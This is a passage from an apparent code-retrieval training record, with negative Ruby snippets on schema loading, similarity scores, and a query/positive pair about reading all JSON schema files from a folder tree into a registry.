fullname. It's critical\n # not to make every sub-schema resolvable at the top level here because\n # multiple different avsc files may define the same sub-schema, and\n # if we share the @schemas cache across all parsing contexts, the Avro\n # gem will raise an Avro::SchemaParseError when parsing another avsc\n # file that contains a subschema with the same fullname as one\n # encountered previously in a different file:\n # <Avro::SchemaParseError: The name \"foo.bar\" is already in use.>\n # Essentially, the only schemas that should be resolvable in @schemas\n # are those that have their own .avsc files on disk.\n @schemas[fullname] = schema\n\n schema\n rescue ::Avro::UnknownSchemaError => e\n # Try to first resolve a referenced schema from disk.\n # If this is successful, the Avro gem will have mutated the\n # local_schemas_cache, adding all the new schemas it found.\n load_schema!(e.type_name, local_schemas_cache)\n\n # Attempt to re-parse the original schema now that the dependency\n # has been resolved and use the now-updated local_schemas_cache to\n # pick up where we left off.\n local_schemas_cache.delete(fullname)\n # Ensure all sub-schemas are cleaned up to avoid conflicts when re-parsing\n # schema.\n local_schemas_cache.each_key do |schema_name|\n local_schemas_cache.delete(schema_name) unless File.exist?(build_schema_path(schema_name))\n end\n load_schema!(fullname, @schemas.dup)\n rescue Errno::ENOENT, Errno::ENAMETOOLONG\n raise AvroTurf::SchemaNotFoundError, \"could not find Avro schema at `#{schema_path}'\"\n end", "def read(path)\n entries[self.class.path(path)]\n end", "def schema\n @schema ||= get_parser(options)\n end", "def get_json_schema(schema)\n Helpers.get_json_schema(schema)\nend", "def read\n if File.exist? path\n File.open(path) do |file|\n Marshal.load(file)\n end\n else\n self.write({})\n self.read\n end\n end", "def schema_get(opts = {})\n data, _status_code, _headers = schema_get_with_http_info(opts)\n return data\n end", "def read_json_schema(schema_filename)\n path = File.join(File.dirname(File.expand_path(__FILE__)) + \"/../../../../tests/data\", schema_filename)\n data = []\n File.open(path, \"r\") do |f|\n data = f.readlines\n end\n schema = JSON.parse(data.chomp) # there may be trailing whitespace\n schema\n end", "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end", "def hash\n @hash ||= @client.get_hash(path)\n @hash\n end", "def schema\n return @schema\n end", "def get_schema(schema)\n # These are in a separately conditional ladder so that we only show the\n # user one warning.\n if schema.is_a?(String)\n warn_string_deprecated\n elsif schema.is_a?(Hash)\n warn_hash_deprecated\n elsif schema.is_a?(JsonSchema::Schema)\n warn_json_schema_deprecated\n end\n\n if schema.is_a?(String)\n schema = JSON.parse(schema)\n end\n\n if schema.is_a?(Hash) || schema.is_a?(JsonSchema::Schema)\n driver = Committee::Drivers::HyperSchema.new\n\n # The driver itself has its own special cases to be able to parse\n # either a hash or JsonSchema::Schema object.\n schema = driver.parse(schema)\n end\n\n # Expect the type we want by now. If we don't have it, the user passed\n # something else non-standard in.\n if !schema.is_a?(Committee::Drivers::Schema)\n raise ArgumentError, \"Committee: schema expected to be a hash or \" \\\n \"an instance of Committee::Drivers::Schema.\"\n end\n\n schema\n end", "def get_hash(path=\"\")\n Element.get_hash(@element, path)\n end", "def get_schema_registry()\n\n if !SchemaRegistry.instance\n raise KatanaError.new(\"Global schema registry is not initialized\")\n end\n\n return SchemaRegistry.instance\nend", "def find(name, namespace = nil)\n fullname = Avro::Name.make_fullname(name, namespace)\n # Optimistic non-blocking read from @schemas\n # No sense to lock the resource when all the schemas already loaded\n return @schemas[fullname] if @schemas.key?(fullname)\n\n # Pessimistic blocking write to @schemas\n @mutex.synchronize do\n # Still need to check is the schema already loaded\n return @schemas[fullname] if @schemas.key?(fullname)\n\n load_schema!(fullname, @schemas.dup)\n end\n end", "def which_has_schema(schema)\n if schema.key? '$ref'\n ref = schema\n schema = resolve_ref(schema['$ref'])\n end\n\n self.baw_model_schema = defined?(ref) ? ref : schema\n let(:model_schema) {\n schema\n }\n end", "def get_hash(name)\n file_name = File.join(@db_dir, name + '.json')\n return ::Hash.new unless File.exist?(file_name)\n\n begin\n json = File.read(file_name)\n rescue => e\n PEROBS.log.fatal \"Cannot read hash file '#{file_name}': #{e.message}\"\n end\n JSON.parse(json, :create_additions => true)\n end", "def load_schemas!\n pattern = [@path, \"**\", \"*.avsc\"].join(\"/\")\n\n Dir.glob(pattern) do |schema_path|\n # Remove the path prefix.\n schema_path.sub!(/^\\/?#{@path}\\//, \"\")\n\n # Replace `/` with `.` and chop off the file extension.\n schema_name = File.basename(schema_path.tr(\"/\", \".\"), \".avsc\")\n\n # Load and cache the schema.\n find(schema_name)\n end\n end", "def get_hash(path='.')\n Element.get_hash(@element, path)\n end", "def get_db_schema(reload = reload_db_schema?)\n set_columns(nil)\n return nil unless @dataset\n schema_hash = {}\n ds_opts = dataset.opts\n get_columns = proc{check_non_connection_error{columns} || []}\n schema_array = check_non_connection_error(false){db.schema(dataset, :reload=>reload)} if db.supports_schema_parsing?\n if schema_array\n schema_array.each{|k,v| schema_hash[k] = v}\n\n # Set the primary key(s) based on the schema information,\n # if the schema information includes primary key information\n if schema_array.all?{|k,v| v.has_key?(:primary_key)}\n pks = schema_array.map{|k,v| k if v[:primary_key]}.compact\n pks.length > 0 ? set_primary_key(pks) : no_primary_key\n end\n\n if (select = ds_opts[:select]) && !(select.length == 1 && select.first.is_a?(SQL::ColumnAll))\n # We don't remove the columns from the schema_hash,\n # as it's possible they will be used for typecasting\n # even if they are not selected.\n cols = get_columns.call\n cols.each{|c| schema_hash[c] ||= {}}\n def_column_accessor(*schema_hash.keys)\n else\n # Dataset is for a single table with all columns,\n # so set the columns based on the order they were\n # returned by the schema.\n cols = schema_array.map{|k,v| k}\n set_columns(cols)\n # Also set the columns for the dataset, so the dataset\n # doesn't have to do a query to get them.\n dataset.send(:columns=, cols)\n end\n else\n # If the dataset uses multiple tables or custom sql or getting\n # the schema raised an error, just get the columns and\n # create an empty schema hash for it.\n get_columns.call.each{|c| schema_hash[c] = {}}\n end\n schema_hash\n end", "def get_db_schema(reload = reload_db_schema?)\n set_columns(nil)\n return nil unless @dataset\n schema_hash = {}\n ds_opts = dataset.opts\n get_columns = proc{check_non_connection_error{columns} || []}\n schema_array = check_non_connection_error(false){db.schema(dataset, :reload=>reload)} if db.supports_schema_parsing?\n if schema_array\n schema_array.each{|k,v| schema_hash[k] = v}\n\n # Set the primary key(s) based on the schema information,\n # if the schema information includes primary key information\n if schema_array.all?{|k,v| v.has_key?(:primary_key)}\n pks = schema_array.map{|k,v| k if v[:primary_key]}.compact\n pks.length > 0 ? set_primary_key(pks) : no_primary_key\n end\n\n if (select = ds_opts[:select]) && !(select.length == 1 && select.first.is_a?(SQL::ColumnAll))\n # We don't remove the columns from the schema_hash,\n # as it's possible they will be used for typecasting\n # even if they are not selected.\n cols = get_columns.call\n cols.each{|c| schema_hash[c] ||= {}}\n def_column_accessor(*schema_hash.keys)\n else\n # Dataset is for a single table with all columns,\n # so set the columns based on the order they were\n # returned by the schema.\n cols = schema_array.map{|k,v| k}\n set_columns(cols)\n # Also set the columns for the dataset, so the dataset\n # doesn't have to do a query to get them.\n dataset.send(:columns=, cols)\n end\n else\n # If the dataset uses multiple tables or custom sql or getting\n # the schema raised an error, just get the columns and\n # create an empty schema hash for it.\n get_columns.call.each{|c| schema_hash[c] = {}}\n end\n schema_hash\n end", "def fetch_schema_by_id(schema_id)\n schema = @schemas_by_id.fetch(schema_id) do\n schema_json = @registry.fetch(schema_id)\n Avro::Schema.parse(schema_json)\n end\n [schema, schema_id]\n end", "def schema_data\n dev_schema\n rescue\n VetsJsonSchema::SCHEMAS[@schema_name]\n end", "def refresh_schema\n GraphQL::Client.dump_schema(HTTP, SCHEMA_PATH)\n end", "def schema\n jiak.data.schema\n end", "def resource_schema\n schemated = {}\n resource.columns_hash.each { |key, value| schemated[key] = value.type }\n schemated\n end", "def schema_lookup(schema_name)\n s = nil\n @current_domain.schemas.each do |schema|\n s = schema if schema.name == schema_name\n end\n s\n end", "def schema(form)\n return schemas[form] if schemas.key? form\n\n raise JsonSchema::MissingSchema.new(form, schemas.keys)\n end", "def schema_search_path\n @schema_search_path ||= exec_query('SHOW search_path', 'SCHEMA')[0]['search_path']\n end", "def schema(work_class_name:, context: nil)\n context ||= AllinsonFlex::Context.where(name: 'default')\n AllinsonFlex::DynamicSchema.where(\n allinson_flex_class: work_class_name,\n context: context\n ).order('created_at').last.schema\n rescue StandardError\n {}\n end", "def load_schemas!\n @schema_store.load_schemas!\n end", "def validation_schema\n File.join(File.dirname(__FILE__), 'schema/validation_schema.json')\n end", "def set_schema\n @schema = Schema.find(params[:id])\n end", "def schema\n absolutize(@schema)\n end", "def schema\n absolutize(@schema)\n end", "def schema(table_name = nil, opts={})\n if opts[:reload] && @schemas\n if table_name\n @schemas.delete(table_name)\n else\n @schemas = nil\n end\n end\n\n if table_name\n return @schemas[table_name] if @schemas && @schemas[table_name]\n else\n return @schemas if @schemas\n end\n\n if table_name\n @schemas ||= {}\n @schemas[table_name] ||= schema_parse_table(table_name, opts)\n else\n @schemas = schema_parse_tables(opts)\n end\n end", "def schema(name_or_file)\n DbAgile::Core::Schema::yaml_file_load(schema_file(name_or_file))\n end", "def get_schema(id, opts = {})\n data, _status_code, _headers = get_schema_with_http_info(id, opts)\n data\n end", "def get_schema(id, opts = {})\n data, _status_code, _headers = get_schema_with_http_info(id, opts)\n data\n end", "def get_schema(id, opts = {})\n data, _status_code, _headers = get_schema_with_http_info(id, opts)\n data\n end", "def parse(schema)\n # Really we'd like to only have data hashes passed into drivers these\n # days, but here we handle a JsonSchema::Schema for now to maintain\n # backward compatibility (this library used to be hyper-schema only).\n if schema.is_a?(JsonSchema::Schema)\n hyper_schema = schema\n else\n hyper_schema = JsonSchema.parse!(schema)\n hyper_schema.expand_references!\n end\n\n schema = Schema.new\n schema.driver = self\n schema.routes = build_routes(hyper_schema)\n schema\n end", "def meta_schema\n klass = :MetaSchema\n @meta_schema ||=\n if self.const_defined?(klass)\n self.const_get(klass)\n else\n self.__create_meta_schema_class(klass)\n end\n end", "def schema(path = nil)\n s = \"ActiveRecord::Schema.define do\\n\"\n s << \" create_table \\\"#{File.basename(@data.path, \".*\")}\\\" do |t|\\n\"\n columns.each do |column|\n s << \" t.column #{column.schema_definition}\"\n end\n s << \" end\\nend\"\n \n if path\n File.open(path, 'w') {|f| f.puts(s)}\n end\n \n s\n end", "def set_schema\n @schema = Schema.find(params[:id])\n end", "def set_schema\n @schema = Schema.find(params[:id])\n end", "def set_schema\n @schema = Schema.find(params[:id])\n end", "def schema\n @@schema ||= XML::Schema.from_string(open(\"http://www.trufina.com/api/truapi.xsd\").read)\n end", "def schema\n @schema ||= begin\n s = Schema.from_gapi(@gapi.schema)\n # call fields so they will be available\n s.fields\n s.freeze\n end\n end", "def schema\n UrlScraper::TYPES.each_pair do |schema, types|\n return schema if types.include?(self.type)\n end\n nil\n end", "def schema\n\t\tunless @schema\n\t\t\tschemahash = self.conn.schema\n\t\t\t@schema = Treequel::Schema.new( schemahash )\n\t\tend\n\n\t\treturn @schema\n\tend", "def get_schema_version\n File.read(File.join(install_directory,'db','schema_version')).to_i rescue 0\n end", "def schema\n @schema ||= (default_schema || ETL::Schema::Table.new)\n end", "def by_schema( schema_name )\n self.class.new( definitions_by_schema( schema_name ) )\n end", "def init_schema\n return unless in_memory_database?\n\n inform_using_in_memory unless silent?\n\n if silent? || quiet?\n load_schema_silently\n else\n load_schema\n end\n end", "def schema(table_name = nil, opts={})\n table_name = table_name.to_sym if table_name\n if opts[:reload] && @schemas\n if table_name\n @schemas.delete(table_name)\n else\n @schemas = nil\n end\n end\n\n if @schemas\n if table_name\n return @schemas[table_name] if @schemas[table_name]\n else\n return @schemas\n end\n end\n\n if table_name\n @schemas ||= {}\n if respond_to?(:schema_parse_table, true)\n @schemas[table_name] ||= schema_parse_table(table_name, opts)\n else\n raise Error, 'schema parsing is not implemented on this database'\n end\n else\n if respond_to?(:schema_parse_tables, true)\n @schemas = schema_parse_tables(opts)\n elsif respond_to?(:schema_parse_table, true) and respond_to?(:tables, true)\n tables.each{|t| schema(t, opts)}\n @schemas\n else\n raise Error, 'schema parsing is not implemented on this database'\n end\n end\n end", "def schema(schema_name)\n state_depth_must_be(States::DOMAIN)\n s = schema_lookup(schema_name)\n if s.nil?\n n = Schema.new(@current_domain, schema_name)\n @current_domain.schemas << n\n @current_schema = n\n else\n @current_schema = s\n end\n clear_state_below(States::SCHEMA)\n end", "def dev_schema\n File.read(\"./modules/covid_research/app/services/covid_research/volunteer/temp-#{@schema_name}.json\")\n end", "def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end", "def schema\n raise NotImplementedError\n end", "def schema=(value)\n @schema = value\n end", "def to_hash schema = {}\n schema = parse_schema schema\n\n HASH_TEMPLATE.clone.tap { |ret|\n @result.getNoVersionMap.each do |cf, cqmap|\n cqmap.each do |cq, val|\n name = ColumnKey.new(cf, cq)\n type = schema[name]\n ret[name] = type ? Util.from_bytes(type, val) : val\n end\n end\n }\n end", "def schema\n OpenGraph::TYPES.each_pair do |schema, types|\n return schema if types.include?(type)\n end\n nil\n end", "def schema\n @schema ||= Schema::Scope.new(self)\n end", "def run(&block)\n original_path = @connection.schema_search_path\n set_path_if_required(@schema)\n yield\n ensure\n set_path_if_required(original_path)\n end", "def schema\n self.class.schema\n end", "def rebuild_schema_cache(force = false)\n puts \"\\tCaching schema from DTD file ...\"\n dtd_parser.parse_file(dtd_file) if (cached_classes.empty? || force)\n end", "def etcd_path(path)\n @etcd_schema = Schema.new(path)\n end", "def schema(name, file=nil, &block)\n extend_schema(Schema.new(name), file, &block)\n end", "def plugin_schema(name)\n get(\"/plugins/schema/#{name}\")\n end", "def schemas\n @schemas ||= metadata.xpath('//Schema').map do |schema_xml|\n [\n schema_xml.attributes['Namespace'].value,\n Schema.new(schema_xml, self)\n ]\n end.to_h\n end", "def schemas\n @schemas ||= metadata.xpath('//Schema').map do |schema_xml|\n [\n schema_xml.attributes['Namespace'].value,\n Schema.new(schema_xml, self)\n ]\n end.to_h\n end", "def path_hash(path)\n if File.exist?(path)\n %x{\n { cd cookbooks;\n export LC_ALL=C;\n find #{path} -type f -exec md5sum {} + | sort; echo;\n find #{path} -type d | sort;\n find #{path} -type d | sort | md5sum;\n } | md5sum\n }.split(' ', 2).first\n end\n end", "def hash\n require 'yaml'\n hash = YAML.load(File.read(self.yaml_file)) #gets hash from yaml file\n return hash\n end", "def flush_schema_cache\n raw_cache_control.flushSchemaCache\n end", "def load_another_schema(uri)\n resolved_uri = resolve_uri(uri)\n return if resolved_uri.nil?\n\n loaded = @schema_registry[resolved_uri]\n return loaded if loaded\n\n OpenAPIParser.load_uri(resolved_uri, config: @config, schema_registry: @schema_registry)\n end", "def dynamic_schema_for(context_id:, work_class_name:, dynamic_schema_id: nil)\n @dynamic_schema ||= if dynamic_schema_id.present?\n AllinsonFlex::DynamicSchema.find(dynamic_schema_id)\n else\n AllinsonFlex::DynamicSchema.find_by(context_id: context_id, allinson_flex_class: work_class_name.to_s)\n end\n if @dynamic_schema.nil?\n raise AllinsonFlex::NoAllinsonFlexSchemaError.new(\n \"No Metadata Schema for ID #{dynamic_schema_id}, context #{context_id}, class #{work_class_name.to_s}\"\n )\n end\n end" ]
[ "0.7322842", "0.6627524", "0.6444558", "0.6206617", "0.5869633", "0.5861695", "0.58348566", "0.5834792", "0.57522136", "0.5748341", "0.5669684", "0.5666222", "0.5665055", "0.56551075", "0.5646316", "0.55099773", "0.54240626", "0.54197365", "0.5403963", "0.53944737", "0.53693646", "0.53492194", "0.5347184", "0.5331461", "0.53260154", "0.53189445", "0.52973413", "0.52753216", "0.5242485", "0.5238542", "0.52224374", "0.5211372", "0.5152607", "0.5152607", "0.5142014", "0.5134909", "0.513123", "0.5128831", "0.5128292", "0.5123466", "0.50830966", "0.50492555", "0.50440687", "0.5040026", "0.5040026", "0.50374633", "0.50369614", "0.49926427", "0.49798104", "0.4968966", "0.49154606", "0.4907107", "0.48833975", "0.48795065", "0.4875163", "0.487274", "0.4867985", "0.48679072", "0.48679072", "0.48660743", "0.48643705", "0.48444447", "0.48444447", "0.48444447", "0.48436183", "0.48410064", "0.4824438", "0.48202622", "0.48202622", "0.48190665", "0.4817882", "0.48093662", "0.48070338", "0.47905204", "0.47756296", "0.47756127", "0.4766721", "0.47635785", "0.4762474", "0.4762353", "0.4762282", "0.4756377", "0.4750052", "0.47286764", "0.4726027", "0.47187448", "0.4709548", "0.46915594", "0.46890432", "0.46739396", "0.46669877", "0.46426985", "0.46426705", "0.46378806", "0.46378806", "0.4634146", "0.463218", "0.46238327", "0.46228883", "0.4609486" ]
0.72458535
1
Read all available schemas from a given path(folder +subfolders) and return the found object definitions them as array. Also populates the registry
def read_all(path=nil) schemas = [] file_paths = if path [File.join(path, '*.json')] else [ File.join( SchemaTools.schema_path, '*.json'), File.join( SchemaTools.schema_path, '**/*', '*.json') ] end Dir.glob( file_paths ).each do |file| schema_name = File.basename(file, '.json').to_sym schemas << read(schema_name, path) end schemas.compact! schemas end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def read_all(path=nil)\n schemas = []\n file_path = File.join(path || SchemaTools.schema_path, '*.json')\n Dir.glob( file_path ).each do |file|\n schema_name = File.basename(file, '.json').to_sym\n schemas << read(schema_name, path)\n end\n schemas\n end", "def load_schemas!\n pattern = [@path, \"**\", \"*.avsc\"].join(\"/\")\n\n Dir.glob(pattern) do |schema_path|\n # Remove the path prefix.\n schema_path.sub!(/^\\/?#{@path}\\//, \"\")\n\n # Replace `/` with `.` and chop off the file extension.\n schema_name = File.basename(schema_path.tr(\"/\", \".\"), \".avsc\")\n\n # Load and cache the schema.\n find(schema_name)\n end\n end", "def read_all(version)\n schemas = []\n v = (version =~ /^v/) ? version : \"v#{version}\"\n registry[v] = {} unless registry[v]\n file_path = File.join(File.dirname(__FILE__), '../json', v, '*.json')\n Dir.glob( file_path ).each do |file|\n schema_name = File.basename(file, \".json\").to_sym\n schemas << read(schema_name, v)\n end\n schemas\n end", "def schemas\n @schema ||= Dir['schemas/*'].reduce({}) do |schemas, file|\n filename = parse_filename(file)\n schemas[filename] = File.read(file).split(\"\\n\").map do |row|\n values = row.split(',')\n {\n name: values[0],\n length: values[1],\n type: values[2]\n }\n end\n\n schemas\n end\n end", "def load_schemas!\n @schema_store.load_schemas!\n end", "def read(schema_name, path_or_schema=nil)\n schema_name = schema_name.to_sym\n return registry[schema_name] if registry[schema_name]\n \n if path_or_schema.is_a?(::Hash)\n schema = Schema.new(path_or_schema) \n elsif path_or_schema.is_a?(::String) || path_or_schema.nil?\n path = path_or_schema\n file_path = File.join(path || SchemaTools.schema_path, \"#{schema_name}.json\")\n unless File.exist?(file_path)\n # check if file exists else try to find first real path in sub-dirs\n recursive_search = Dir.glob( File.join(SchemaTools.schema_path, '**/*', \"#{schema_name}.json\"))[0]\n # use only if we found something, else keep path which will throw error on file.open later\n file_path = recursive_search || file_path\n end\n schema = Schema.new(file_path)\n else\n raise ArgumentError, 'Second parameter must be a path or a schema!'\n end\n\n\n # only import object definitions, shared property definitions are handled separate\n return unless schema[:type] == 'object'\n registry[ schema_name ] = schema\n return schema\n end", "def external_schemas\n @external_schemas = Array(@external_schemas).map do |extern|\n schema = case extern\n when Schema then extern\n else\n status \"Load extern #{extern}\"\n ShEx.open(extern, logger: options[:logger])\n end\n schema.graph = graph\n schema\n end\n end", "def available_schemas\n load_schemas.transform_values(&:description).to_a\n end", "def get_schemas\n @schemas\n end", "def schemas\n @schemas ||= metadata.xpath('//Schema').map do |schema_xml|\n [\n schema_xml.attributes['Namespace'].value,\n Schema.new(schema_xml, self)\n ]\n end.to_h\n end", "def schemas\n @schemas ||= metadata.xpath('//Schema').map do |schema_xml|\n [\n schema_xml.attributes['Namespace'].value,\n Schema.new(schema_xml, self)\n ]\n end.to_h\n end", "def resolve!\n @schemas.map(&:resolve!)\n end", "def path_list(doc, reference, word)\n reset\n #Where the word and ref don't match and it\n #looks like a Class name switch to it.\n if reference != word\n if word =~ /^[A-Z]/\n reference = word\n end\n end\n\n type = find_type(doc, reference)\n\n return [] unless type\n\n paths = imported_class_to_file_path(doc, type)\n\n #If we searched any superclasses their paths have been stored\n @loaded_documents.each { |path|\n f = File.open(path,\"r\" ).read.strip\n paths << imported_class_to_file_path(strip_comments(f), type)\n }\n\n create_src_list()\n existing_paths = []\n\n @src_dirs.each do |d|\n\n paths.flatten.uniq.each do |path|\n\n uri = d.chomp + \"/\" + path.chomp\n as = \"#{uri}.as\"\n mx = \"#{uri}.mxml\"\n\n if File.exists?(as)\n existing_paths << as\n elsif File.exists?(mx)\n existing_paths << mx\n end\n\n end\n\n end\n\n return { :paths => existing_paths.uniq, :type => type }\n\n end", "def load_definitions(dirpath)\n Dir.glob(dirpath) do |item|\n namespace = File.basename(item, \".*\")\n definitions = load_yaml(item)\n definitions.each do |key, value|\n definition_key = \"#{key}.#{namespace}\"\n if $definitions[definition_key]\n $definitions[definition_key] = $definitions[definition_key].deep_merge(value)\n else\n $definitions[definition_key] = value\n end\n end\n end\n log_to_file(\"_definitions.yaml\", $definitions.sort_by_key(true).to_h.to_yaml)\nend", "def build_schemas(parent_schema)\n # Build ref schemas if they exist\n if parent_schema.schema[\"$ref\"]\n load_ref_schema(parent_schema, parent_schema.schema[\"$ref\"])\n end\n if parent_schema.schema[\"extends\"]\n if parent_schema.schema[\"extends\"].is_a?(String)\n load_ref_schema(parent_schema, parent_schema.schema[\"extends\"])\n elsif parent_schema.schema[\"extends\"].is_a?(Array)\n parent_schema.schema[\"extends\"].each do |type|\n handle_schema(parent_schema, type)\n end\n end\n end\n\n # handle validations that always contain schemas\n [\"allOf\", \"anyOf\", \"oneOf\", \"not\"].each do |key|\n if parent_schema.schema.has_key?(key)\n validations = parent_schema.schema[key]\n validations = [validations] unless validations.is_a?(Array)\n validations.each {|v| handle_schema(parent_schema, v) }\n end\n end\n\n # Check for schemas in union types\n [\"type\", \"disallow\"].each do |key|\n if parent_schema.schema[key] && parent_schema.schema[key].is_a?(Array)\n parent_schema.schema[key].each_with_index do |type,i|\n if type.is_a?(Hash)\n handle_schema(parent_schema, type)\n end\n end\n end\n end\n\n # \"definitions\" are schemas in V4\n if parent_schema.schema[\"definitions\"]\n parent_schema.schema[\"definitions\"].each do |k,v|\n handle_schema(parent_schema, v)\n end\n end\n\n # All properties are schemas\n if parent_schema.schema[\"properties\"]\n parent_schema.schema[\"properties\"].each do |k,v|\n handle_schema(parent_schema, v)\n end\n end\n if parent_schema.schema[\"patternProperties\"]\n parent_schema.schema[\"patternProperties\"].each do |k,v|\n handle_schema(parent_schema, v)\n end\n end\n\n # Items are always schemas\n if parent_schema.schema[\"items\"]\n items = parent_schema.schema[\"items\"].clone\n single = false\n if !items.is_a?(Array)\n items = [items]\n single = true\n end\n items.each_with_index do |item,i|\n handle_schema(parent_schema, item)\n end\n end\n\n # Convert enum to a ArraySet\n if parent_schema.schema[\"enum\"] && parent_schema.schema[\"enum\"].is_a?(Array)\n parent_schema.schema[\"enum\"] = ArraySet.new(parent_schema.schema[\"enum\"])\n end\n\n # Each of these might be schemas\n [\"additionalProperties\", \"additionalItems\", \"dependencies\", \"extends\"].each do |key|\n if parent_schema.schema[key].is_a?(Hash)\n handle_schema(parent_schema, parent_schema.schema[key])\n end\n end\n\n end", "def load_data\n loader = ::OpenAPIParser::SchemaLoader.new(self, self.class._parser_core)\n @_openapi_all_child_objects = loader.load_data\n nil\n end", "def load_definitions\n clear_definitions\n Dir[File.expand_path('../../data/*.json', __dir__)].each { |f| load_json(f) }\n end", "def all_schemas\n query('SELECT schema_name FROM information_schema.schemata').flatten\n end", "def index\n @schemas = Schema.all\n end", "def scan_dirs(paths)\n paths.each do |dir_obj|\n dir_obj = File::expand_path(dir_obj)\n Find.find(dir_obj) do |ent|\n dir_ent = DirEntity.new(ent)\n # get SHA 256 if it's a file\n if File.ftype(ent) == 'file'\n dir_ent.file_hash = Digest::SHA256.file(ent) \n else\n dir_ent.is_dir = true\n end\n # stat both files and directories to be stored.\n stat = File::Stat.new(ent)\n dir_ent.perms = sprintf(\"%o\", stat.mode)\n dir_ent.owner, dir_ent.group = stat.uid, stat.gid \n\n dir_ent.report\n dir_ent.print_json\n @fsys_objects << dir_ent.create_json\n end\n end\n end", "def read(schema_name, path_or_schema=nil)\n schema_name = schema_name.to_sym\n return registry[schema_name] if registry[schema_name]\n\n if path_or_schema.is_a? ::Hash\n path = nil\n plain_data = path_or_schema.to_json\n elsif path_or_schema.is_a?(::String) || path_or_schema.nil?\n path = path_or_schema\n file_path = File.join(path || SchemaTools.schema_path, \"#{schema_name}.json\")\n else\n raise ArgumentError, \"Second parameter must be a path or a schema!\"\n end\n\n plain_data ||= File.open(file_path, 'r'){|f| f.read}\n\n schema = ActiveSupport::JSON.decode(plain_data).with_indifferent_access\n if schema[:extends]\n extends = schema[:extends].is_a?(Array) ? schema[:extends] : [ schema[:extends] ]\n extends.each do |ext_name|\n ext = read(ext_name, path)\n # current schema props win\n schema[:properties] = ext[:properties].merge(schema[:properties])\n end\n end\n registry[ schema_name ] = schema\n end", "def load_manifests(path)\n path = Pathname.new(path).freeze\n files = if File.file?(path)\n [path]\n else\n Pathname.glob(path.join('*.{yml,yaml,yml.erb,yaml.erb}')).sort_by(&:to_s)\n end\n resources = files.flat_map do |file|\n Pharos::YamlFile.new(file).load_stream do |doc|\n K8s::Resource.new(doc)\n end\n end.select do |r|\n # Take in only resources that are valid kube resources\n r.kind && r.apiVersion\n end\n\n resources\n end", "def get_all_classes(path = File.join(__dir__, '../knowledge/classes_hierarchy.json'))\n data = ensure_load_json(path, {})\n HashHelper.recursive_map_keys(data)\n end", "def all_objects\n objects = []\n each_namespace{|n| objects << n}\n each_namespace{|n| \n n.each_relvar{|r| objects << r}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_candidate_key{|k| objects << k}}\n }\n each_namespace{|n| \n n.each_relvar{|r| r.each_foreign_key{|k| objects << k}}\n }\n objects\n end", "def all_objects\n Registry.all(:root, :module, :class)\n end", "def load\n parsed = JSON.parse(File.read(SPECPATH))\n structs = StructureContainer.new(parsed['PropertyTypes'])\n\n parsed['ResourceTypes'].each do |key, spec|\n match = key.match(/\\A(\\w+)::(\\w+)::(\\w+)\\z/)\n\n register(match[1], match[2], match[3], spec, structs.search(key))\n end\n end", "def metadata_lookup(path, ctype=nil, mtype=nil, recursive=false, \n path_only=true, dirs=false)\n entries = []\n prune = recursive ? nil : 2\n @metadata_tree.with_subtree(path, ctype, mtype, prune) do |node|\n entries << [node.node_type, (path_only ? node.path : node)]\n end\n entries\n end", "def get_schema_registry()\n\n if !SchemaRegistry.instance\n raise KatanaError.new(\"Global schema registry is not initialized\")\n end\n\n return SchemaRegistry.instance\nend", "def scan_resources!\n @resources = @lookups[:_default] = {}\n @resource_arguments = {}\n \n @default_order = []\n Dir[@resource_class.glob].each do |path|\n @default_order << basename = File.basename(path)\n \n @resource_arguments[basename] = resource_arguments = @resource_class.scan_file(path)\n\n instantiate_resource!(basename,resource_arguments)\n end\n end", "def load_models\n @models = []\n # Load Models and Schema for corresponding orm\n re = /^.*\\/(.*).rb$/\n Dir[\"#{ROOT}/models/#{@orm.to_s}/*\"].each { |c| \n require c \n match = c.match(re)\n @models << Extlib::Inflection.constantize(Extlib::Inflection.camelize(match[1])) if match\n }\n end", "def load_schema!(fullname, local_schemas_cache = {})\n schema_path = build_schema_path(fullname)\n schema_json = JSON.parse(File.read(schema_path))\n\n schema = Avro::Schema.real_parse(schema_json, local_schemas_cache)\n\n # Don't cache the parsed schema until after its fullname is validated\n if schema.respond_to?(:fullname) && schema.fullname != fullname\n raise AvroTurf::SchemaError, \"expected schema `#{schema_path}' to define type `#{fullname}'\"\n end\n\n # Cache only this new top-level schema by its fullname. It's critical\n # not to make every sub-schema resolvable at the top level here because\n # multiple different avsc files may define the same sub-schema, and\n # if we share the @schemas cache across all parsing contexts, the Avro\n # gem will raise an Avro::SchemaParseError when parsing another avsc\n # file that contains a subschema with the same fullname as one\n # encountered previously in a different file:\n # <Avro::SchemaParseError: The name \"foo.bar\" is already in use.>\n # Essentially, the only schemas that should be resolvable in @schemas\n # are those that have their own .avsc files on disk.\n @schemas[fullname] = schema\n\n schema\n rescue ::Avro::UnknownSchemaError => e\n # Try to first resolve a referenced schema from disk.\n # If this is successful, the Avro gem will have mutated the\n # local_schemas_cache, adding all the new schemas it found.\n load_schema!(e.type_name, local_schemas_cache)\n\n # Attempt to re-parse the original schema now that the dependency\n # has been resolved and use the now-updated local_schemas_cache to\n # pick up where we left off.\n local_schemas_cache.delete(fullname)\n # Ensure all sub-schemas are cleaned up to avoid conflicts when re-parsing\n # schema.\n local_schemas_cache.each_key do |schema_name|\n local_schemas_cache.delete(schema_name) unless File.exist?(build_schema_path(schema_name))\n end\n load_schema!(fullname, @schemas.dup)\n rescue Errno::ENOENT, Errno::ENAMETOOLONG\n raise AvroTurf::SchemaNotFoundError, \"could not find Avro schema at `#{schema_path}'\"\n end", "def definitions\n definitions_repository.all\n end", "def generate_data\n tokens = []\n # loop over schema files\n Dir.glob('assets/data/schema/*.xsd').map do |schema|\n data = read_file(schema)\n data.scan(/<xs:\\w+|\\w+=\"\\w+\"|\\w+=\"xs:\\w+\"/).uniq do |x|\n tokens << x unless tokens.include? x\n end\n data.scan(/<xs:\\w+ \\w+=\"\\w+\"/).uniq do |x|\n tokens << x unless tokens.include? x\n end\n end\n # create main data array\n structure = []\n tokens.sort.map.with_index do |x, i|\n structure[i] = [x]\n Dir.glob('assets/data/schema/*.xsd').map do |schema|\n filename = schema.split('/').last\n amount = read_file(schema).scan(x).size\n structure[i] << [filename, amount] unless amount.zero?\n end\n end\n structure\nend", "def run\n $schema.each do |k, v|\n case k\n when 'queryType'\n $query= v['name'] if v\n when 'mutationType'\n $mutation= v['name'] if v\n when 